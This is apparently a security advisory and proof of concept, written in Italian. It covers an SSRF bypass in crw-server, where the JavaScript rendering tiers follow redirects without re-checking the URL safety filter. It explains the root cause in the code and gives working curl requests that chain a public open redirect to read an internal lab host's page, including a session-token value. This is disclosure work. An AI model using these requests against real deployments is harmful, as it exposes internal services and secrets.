
PoC — SSRF tramite bypass del tier di rendering JS del filtro di sicurezza URL in crw (GHSA-5jp3-339h-vxqw, CVE-2026-87007, CVSS 7.5).
Stato CVE: richiesto, in attesa di assegnazione. Questa segnalazione è pubblicata come GHSA-5jp3-339h-vxqw. All'assegnazione del CVE questo repository viene rinominato
CVE-YYYY-NNNNN-crw-PoCe questo banner viene sostituito con il link al CVE.
| Ricercatore | Dostxodjayev Abdullox (@squeeze440) |
| Advisory | GHSA-5jp3-339h-vxqw |
| CVSS 3.1 | 7.5 (High) |
| Debolezza | CWE-918 |
Sommario
In crw-server, la allow/deny-list SSRF (crw_core::url_safety) viene applicata una sola volta, contro l'url fornito dal chiamante, prima che la richiesta venga inoltrata a un renderer; i tier di rendering JS basati su CDP (LightPanda — il renderer JS predefinito — e Chrome) pilotano poi la pagina di destinazione tramite Page.navigate e seguono ogni successivo redirect, navigazione attivata da JS e XHR/fetch in-page interamente all'interno dello stack di rete del browser stesso, senza ulteriori chiamate a url_safety in nessun punto, consentendo a un chiamante autenticato (o, su un deployment predefinito senza chiave, non autenticato) che imposta renderJs:true di far pivotare il crawler nello spazio di indirizzi RFC1918/loopback/link-local tramite un singolo open redirect esterno e di leggere la risposta del servizio interno nel corpo della risposta API.
Prodotto
fastCRW / crw — crw-server (API REST, raggiungibile in modo identico anche attraverso il layer di tool MCP in-process crw-mcp, che chiama lo stesso percorso di codice crw_server::routes::mcp::call_tool).
Versione testata
Commit 9f1e5ea5555bbf29cd41e454902be0cd804a15e4 (v0.28.0, tip di main al momento del test), compilato ed eseguito tramite il docker-compose.yml --profile heavy del progetto stesso.
CVSS v3.1 stimato
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N — 7.5 (High)
PR:N: il default self-host fornito (config.docker.toml) non ha alcuna sezione [auth]/api_keys, in linea con il default "aperto per design" già documentato in GHSA-qq8c-fch4-cxq7. Un deployment che configura le API key declassa questo a PR:L (qualsiasi singolo tenant autenticato può comunque far pivotare il motore condiviso verso qualunque rete interna su cui esso giri) — il bug non è mitigato dall'aggiunta di chiavi, ma solo ri-gateato.I:N/A:N: il PoC dimostra la lettura di una risposta HTTP interna (riservatezza). Nessuna azione di scrittura/modifica di stato contro un target interno è stata esercitata o viene rivendicata.S:U: la divulgazione è mediata interamente attraverso il canale di risposta API del componente vulnerabile stesso.Dettagli
Causa principale: il percorso del renderer CDP/browser non chiama mai crw_core::url_safety dopo l'unico controllo effettuato a livello di route.
crates/crw-server/src/routes/scrape.rs:29-34 (identicamente in crawl.rs:47/136, map.rs:73/58, extract.rs:178/95, batch.rs:111/102, v2/*, routes/mcp.rs:25) — l'unico controllo SSRF nell'intero ciclo di vita della richiesta per una richiesta renderizzata via JS: crw_core::url_safety::validate_safe_url_resolved(&parsed_url) viene eseguito una volta contro l'url letterale del chiamante, prima che il renderer venga mai invocato.crates/crw-renderer/src/cdp.rs:2621-2631 — il future work di fetch_inner invia Page.navigate con l'url grezzo direttamente all'endpoint CDP (condiviso sia dal tier chrome che da lightpanda — entrambi parlano CDP attraverso questa stessa funzione). Chrome/LightPanda esegue poi la propria risoluzione DNS e segue internamente qualsiasi redirect lato server, <meta http-equiv="refresh"> o cambiamento di location via JS. Nessuna chiamata a url_safety esiste in alcun punto di cdp.rs.crates/crw-renderer/src/blocklist.rs:1-124 — l'unica logica di intercettazione Fetch.requestPaused per-richiesta che viene eseguita durante un render CDP (collegata in cdp.rs intorno alle righe 930-1002). Filtra host di annunci/tracker e tipi di risorsa bloccati (immagini, font, ecc.) solo per ragioni di banda/rumore — non controlla mai la destinazione di una richiesta rispetto a range privati/loopback/link-local.crates/crw-crawl/src/single.rs:559-569 — l'unico punto in cui il final_url post-navigazione viene ispezionato. redirect_is_material() decide solo se allegare una stringa cosmetica "redirected_to: <url>" a data.warnings (per segnalare "hai ottenuto la pagina sbagliata", secondo il commento che fa riferimento a northernair.ca) — non chiama mai url_safety::validate_safe_url* e non fa mai fallire la richiesta.crates/crw-renderer/src/http_only.rs:291 — il tier HTTP semplice (non-JS) avvolge correttamente il suo reqwest::Client in crw_core::url_safety::safe_redirect_policy(), che rivalida (con risoluzione DNS) ogni hop di redirect. Questa è esattamente la protezione mancante nei tier CDP. Confermato dinamicamente: la stessa richiesta PoC con renderJs:false viene correttamente rifiutata ("error following redirect", vedi screenshot di baseline).Proof of Concept
Confermato dinamicamente contro lo stack docker-compose.yml --profile heavy del progetto stesso (crw + lightpanda + chrome, compilato dal commit testato).
crw/chrome/lightpanda (docker network: source_default), all'indirizzo privato 172.19.0.6 — un semplice container nginx che serve una pagina con contenuto realistico dall'aspetto interno (titolo "Internal Ops Console", un valore a forma di session-token).curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
-d '{"url":"http://172.19.0.6/","renderJs":false}'
→ {"success":false,"error":"Invalid request: Access to 172.19.0.6 is not allowed", ...}
curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
-d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":false}'
→ {"success":false,"error":"HTTP request failed: error following redirect ...", ...}
(screenshot: evidence/ssrf_baseline_blocked.png)curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
-d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":true,"renderer":"chrome","formats":["markdown"]}'
Risultato: HTTP 200, "success":true, "data":{"markdown":"# Internal Ops Console\n\n# internal-ops.crw-lab.local\n\nNode role: primary\n\nBuild: 2026.08.02-rc3\n\nSession token: 8f3d1c9a7e2b4460b9e5d6a1c0f7e3d2", ..., "warnings":["redirected_to: http://172.19.0.6/"], "renderDecision":{"kind":"userPinned","renderer":"chrome"}} — il contenuto del server interno viene restituito al chiamante; l'avviso redirected_to del tool stesso mostra che esso sa di aver seguito la richiesta verso l'indirizzo bloccato e restituisce comunque il contenuto. (screenshot: evidence/ssrf_chrome_tier_bypass.png)"renderJs":true — il modo ordinario con cui un chiamante richiede il rendering JS): la scala ha scelto lightpanda ("renderDecision":{"kind":"autoDefault","chosen":"lightpanda"}, "renderedWith":"lightpanda") e ha restituito lo stesso contenuto interno, dimostrando che entrambi i tier CDP (non solo chrome) condividono la lacuna.